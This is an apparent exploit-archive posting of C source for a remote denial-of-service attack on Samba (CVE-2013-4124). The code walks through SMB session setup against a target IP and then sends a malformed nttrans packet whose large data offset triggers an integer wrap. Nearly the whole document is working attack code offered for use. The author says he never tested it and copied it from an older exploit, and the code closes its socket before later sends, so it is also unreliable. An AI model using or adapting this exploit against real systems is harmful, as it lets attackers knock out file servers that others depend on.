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Samba Remote Denial Of Service

Samba Remote Denial Of Service
Posted Aug 21, 2013
Authored by x90c

Samba malformed nttrans smb packet remote denial of service exploit.

tags | exploit, remote, denial of service
advisories | CVE-2013-4124
SHA-256 | 7c05718e61505b529b4fc56fdb9fe34f5f090de5045c62a525a74a2d1108d2f6

Samba Remote Denial Of Service

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/*

!!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!

CVE-2013-4124 samba remote dos private exploit


./samba_nttrans_exploit [target ip addr]

* ... test ...:
I didn't test for the exploit, I
copied another samba nttrans exploit
in 2003 that https://www.securiteam.co
m/exploits/5TP0M2AAKS.html. It should
be works!

the exploit send malformed nttrans
smb packet with large value of data
offset to cause integer wrap in the
vulnerable function of read_nttrns_ea_list

I left an article that analyzed it

!!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!


x90c

*/

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>

typedef unsigned char uint8;
typedef unsigned short uint16;
typedef unsigned long uint32;

struct variable_data_header
{ uint8 wordcount, bytecount[2];
};

struct nbt_session_header
{ uint8 type, flags, len[2];
};

struct smb_base_header
{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];
uint8 flags;
uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
};

struct negprot_reply_header
{ uint8 wordcount;
uint8 dialectindex[2];
uint8 securitymode;
uint16 maxmpxcount, maxvccount;
uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;
uint16 timezone;
uint8 keylen;
uint16 bytecount;
};

struct sesssetupx_request_header
{ uint8 wordcount, command, reserved;
uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
uint8 sessionid[4];
uint8 ipasswdlen[2], passwdlen[2];
uint8 reserved2[4], capabilities[4];
};

struct sesssetupx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];
};

struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
};

struct tconx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];
};

struct nttrans_primary_request_header
{
uint8 wordcount;
uint8 maxsetupcount;
uint8 flags[2];
uint8 totalparamcount[4];
uint8 totaldatacount[4];
uint8 maxparamcount[4];
uint8 maxdatacount[4];
uint8 paramcount[4];
uint8 paramoffset[4];
uint8 datacount[4];
uint8 dataoffset[4]; // XXXX 0xf000000
uint8 setupcount;
uint8 function[2];
uint8 bytecount[2];
};

#define SMB_NEGPROT 0x72
#define SMB_SESSSETUPX 0x73
#define SMB_TCONX 0x75
#define SMB_TRANS2 0x32
#define SMB_NTTRANS 0xA0
#define SMB_NTTRANSCREATE 0x01
#define SMB_TRANS2OPEN 0x00
#define SMB_SESSIONREQ 0x81
#define SMB_SESSION 0x00

uint32 sessionid, PARAMBASE = 0x81c0000;
char *tconx_servername;
int tid, pid, uid;

#define STACKBOTTOM 0xbfffffff
#define STACKBASE 0xbfffd000
#define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))

char *netbios_encode_name(char *name, int type)
{ char plainname[16], c, *encoded, *ptr;
int i, len = strlen(name);
if ((encoded = malloc(34)) == NULL)
{ fprintf(stderr, "malloc() failed\n");
exit(-1);
}
ptr = encoded;
strncpy(plainname, name, 15);
*ptr++ = 0x20;
for (i = 0; i < 16; i++)
{ if (i == 15) c = type;
else
{ if (i < len) c = toupper(plainname[i]);
else c = 0x20;
}
*ptr++ = (((c >> 4) & 0xf) + 0x41);
*ptr++ = ((c & 0xf) + 0x41);
}
*ptr = '\0';
return encoded;
}

void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)
{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;
uint16 nlen;

// geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..
if (len > 65535) nlen = 65535;
else nlen = htons(len);

memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));

nbt_hdr->type = type;
nbt_hdr->flags = flags;
memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));
}

// caller zorgt voor juiste waarde van ptr.
void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid,
uint16 uid, uint16 mid)
{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;

memset(base_hdr, '\0', sizeof (struct smb_base_header));

memcpy(base_hdr->protocol, "\xffSMB", 4);

base_hdr->command = command;
base_hdr->flags = flags;

memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
memcpy(&base_hdr->tid, &tid, sizeof (uint16));
memcpy(&base_hdr->pid, &pid, sizeof (uint16));
memcpy(&base_hdr->uid, &uid, sizeof (uint16));
memcpy(base_hdr->mid, &mid, sizeof (uint16));
}

void construct_sesssetupx_header(char *ptr)
{ struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;
uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;
uint32 capabilities = 0x50;

memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));

sx_hdr->wordcount = 13;
sx_hdr->command = 0xff;
memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));
memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));
memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
}

/*
struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
-- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
}; */
void construct_tconx_header(char *ptr)
{ struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;
uint16 passwdlen = 1, bytecount;
char *data;

memset(tx_hdr, '\0', sizeof (struct tconx_request_header));

bytecount = strlen(tconx_servername) + 15;

if ((data = malloc(bytecount)) == NULL)
{ fprintf(stderr, "malloc() failed, aborting!\n");
exit(-1);
}
memcpy(data, "\x00\x5c\x5c", 3);
memcpy(data + 3, tconx_servername, strlen(tconx_servername));
memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);

tx_hdr->wordcount = 4;
tx_hdr->xcommand = 0xff;

memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));

memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
}

void nbt_session_request(int fd, char *clientname, char *servername)
{
char *cn, *sn;
char packet[sizeof (struct nbt_session_header) + (34 * 2)];

construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));

tconx_servername = servername;

sn = netbios_encode_name(servername, 0x20);
cn = netbios_encode_name(clientname, 0x00);

memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);

write(fd, packet, sizeof (packet));
close(fd);

free(cn);
free(sn);
}

void process_nbt_session_reply(int fd)
{ struct nbt_session_header nbt_hdr;
char *errormsg;
uint8 errorcode;
int size, len = 0;

if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
{ close(fd);
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
exit(-errno);
}
if (size != sizeof (nbt_hdr))
{ close(fd);
fprintf(stderr, "read() a broken packet, aborting.\n");
exit(-1);
}
memcpy(&len, &nbt_hdr.len, sizeof (uint16));

if (len)
{ read(fd, (void *)&errorcode, 1);
close(fd);
switch (errorcode)
{ case 0x80 : errormsg = "Not listening on called name"; break;
case 0x81 : errormsg = "Not listening for calling name"; break;
case 0x82 : errormsg = "Called name not present"; break;
case 0x83 : errormsg = "Called name present, but insufficient resources"; break;
case 0x8f : errormsg = "Unspecified error"; break;
default : errormsg = "Unspecified error (unknown error code received!)"; break;
}
fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);
exit(-1);
}
printf("session request granted\n");
}

void negprot_request(int fd)
{ struct variable_data_header data;
char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \
"\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR";
char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];
int dlen = htons(sizeof (dialects));

memset(&data, '\0', sizeof (data));
construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
pid = getpid();
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);

memcpy(&data.bytecount, &dlen, sizeof (uint16));

memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));
memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)),
dialects, sizeof (dialects));

if (write(fd, packet, sizeof (packet)) == -1)
{ close(fd);
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
exit(-errno);
}
}

void process_negprot_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
struct smb_base_header *base_hdr;
struct negprot_reply_header *np_reply_hdr;
char packet[1024];
int size;
uint16 pid_reply;

nbt_hdr = (struct nbt_session_header *)packet;
base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) +
sizeof (struct smb_base_header)));

if ((size = read(fd, packet, sizeof (packet))) == -1)
{ close(fd);
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
exit(-errno);
}

memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)
{ close(fd);
fprintf(stderr, "protocol negotiation failed\n");
exit(-1);
}

printf("protocol negotiation complete\n");
}

void sesssetupx_request(int fd)
{ uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";
char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
sizeof (struct sesssetupx_request_header) + sizeof (data)];
int size;

construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
sizeof (struct sesssetupx_request_header), &data, sizeof (data));

if ((size = write(fd, packet, sizeof (packet))) == -1)
{ close(fd);
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
exit(-errno);
}
if (size != sizeof (packet))
{ close(fd);
fprintf(stderr, "couldn't write entire packet, aborting!\n");
exit(-1);
}
}

void process_sesssetupx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
struct smb_base_header *base_hdr;
struct sesssetupx_reply_header *sx_hdr;
char packet[1024];
int size, len;

if ((size = read(fd, packet, sizeof (packet))) == -1)
{ close(fd);
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
exit(-errno);
}

nbt_hdr = (struct nbt_session_header *)packet;
base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

memcpy(&len, &nbt_hdr->len, sizeof (uint16));
memcpy(&uid, &base_hdr->uid, sizeof (uint16));

if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
{ close(fd);
fprintf(stderr, "session setup failed\n");
exit(-1);
}

printf("session setup complete, got assigned uid %i\n", uid);
}

void tconx_request(int fd)
{
char *packet;
int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;

if ((packet = malloc(pktsize)) == NULL)
{ close(fd);
fprintf(stderr, "malloc() failed, aborting!\n");
exit(-1);
}

construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);
construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

if ((size = write(fd, packet, pktsize)) == -1)
{ close(fd);
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
exit(-errno);
}

free(packet);

if (size != pktsize)
{ close(fd);
fprintf(stderr, "couldn't write entire packet, aborting!\n");
exit(-1);
}
}

void process_tconx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
struct smb_base_header *base_hdr;
struct tconx_reply_header *tx_hdr;
char packet[1024];
int size, bytecount;

if ((size = read(fd, packet, sizeof (packet))) == -1)
{ close(fd);
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
exit(-errno);
}

nbt_hdr = (struct nbt_session_header *)packet;
base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

memcpy(&tid, &base_hdr->tid, sizeof (uint16));
memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));

printf("tree connect complete, got assigned tid %i\n", tid);
}

void nttrans_request(int fd) {
// packet = nbt session header + smb base header + nttrans header!
char packet[sizeof (struct nbt_session_header) +
sizeof (struct smb_base_header) +
sizeof (struct nttrans_primary_request_header)];
struct nttrans_primary_request_header nttrans_hdr; // nttrans header!
int size=0;
int function = SMB_NTTRANSCREATE; // NTTRANSCREATE!
int totalparamcount = TOTALCOUNT;
int totaldatacount = 0;
uint8 setupcount = 0;

memset(&nttrans_hdr, 0, sizeof nttrans_hdr);

// construct nbt session header
construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
// construct smb base header
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS, 8, 1, tid, pid, uid, 1);

// construct nttrans header
nttrans_hdr.paramoffset[0] = '\x00';
nttrans_hdr.paramoffset[1] = '\x00';
nttrans_hdr.paramoffset[2] = '\x10';
nttrans_hdr.paramoffset[3] = '\xff';
nttrans_hdr.dataoffset[0] = '\x00'; // XXX data offset 0xff100000 to integer wrap
nttrans_hdr.dataoffset[1] = '\x00'; // the offset exploits the security bug of CVE-2013-4124
nttrans_hdr.dataoffset[2] = '\x10'; // samba remote dos
nttrans_hdr.dataoffset[3] = '\xff';

nttrans_hdr.wordcount = 19 + setupcount;
memcpy(&nttrans_hdr.function, &function, sizeof (uint16));
memcpy(&nttrans_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
memcpy(&nttrans_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nttrans_hdr, sizeof nttrans_hdr);

// send samba packet!
size = write(fd, packet, sizeof (packet));
close(fd);

}

static char banner[]={
" ___ ___ \n" \
" / _ \\ / _ \\ \n" \
" __ __| (_) || | | | ___ \n" \
" \\ \\/ / \\__. || | | | / __| \n" \
" > < / / | |_| || (__ \n" \
" /_/\\_\\ /_/ \\___/ \\___| \n" \
};

int main(int argc, char *argv[]) {
int fd;
struct sockaddr_in s_in;
char target_ip[16];
int smb_port=139;


printf("%s\n\nsamba nttrans reply exploit\n\n", banner);

if(argc < 2){
fprintf(stderr, "samba nttrans reply exploit Usage:\n\n./samba_exploit [target ip addr]\n\n");
exit(-1);
}

strncpy(target_ip, argv[1], 16);

memset(&s_in, 0, sizeof (s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(smb_port); // samba port=139/tcp
s_in.sin_addr.s_addr = inet_addr(target_ip);

fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(fd, (struct sockaddr *)&s_in, sizeof (s_in));

// nbt(netbios over tcpip, nbtstat) session request
nbt_session_request(fd, "BOSSA", "SAMBA"); // adjust computer names(clientname, servername)
process_nbt_session_reply(fd);

// protocol negotiation
negprot_request(fd);
process_negprot_reply(fd);

// session setup
sesssetupx_request(fd); // setup request
process_sesssetupx_reply(fd); // setup reply

// tree connection setup
tconx_request(fd);
process_tconx_reply(fd);

// exploit!
printf("[*] nttrans reply exploit!\n");
nttrans_request(fd);

close(fd);

return 0;
}
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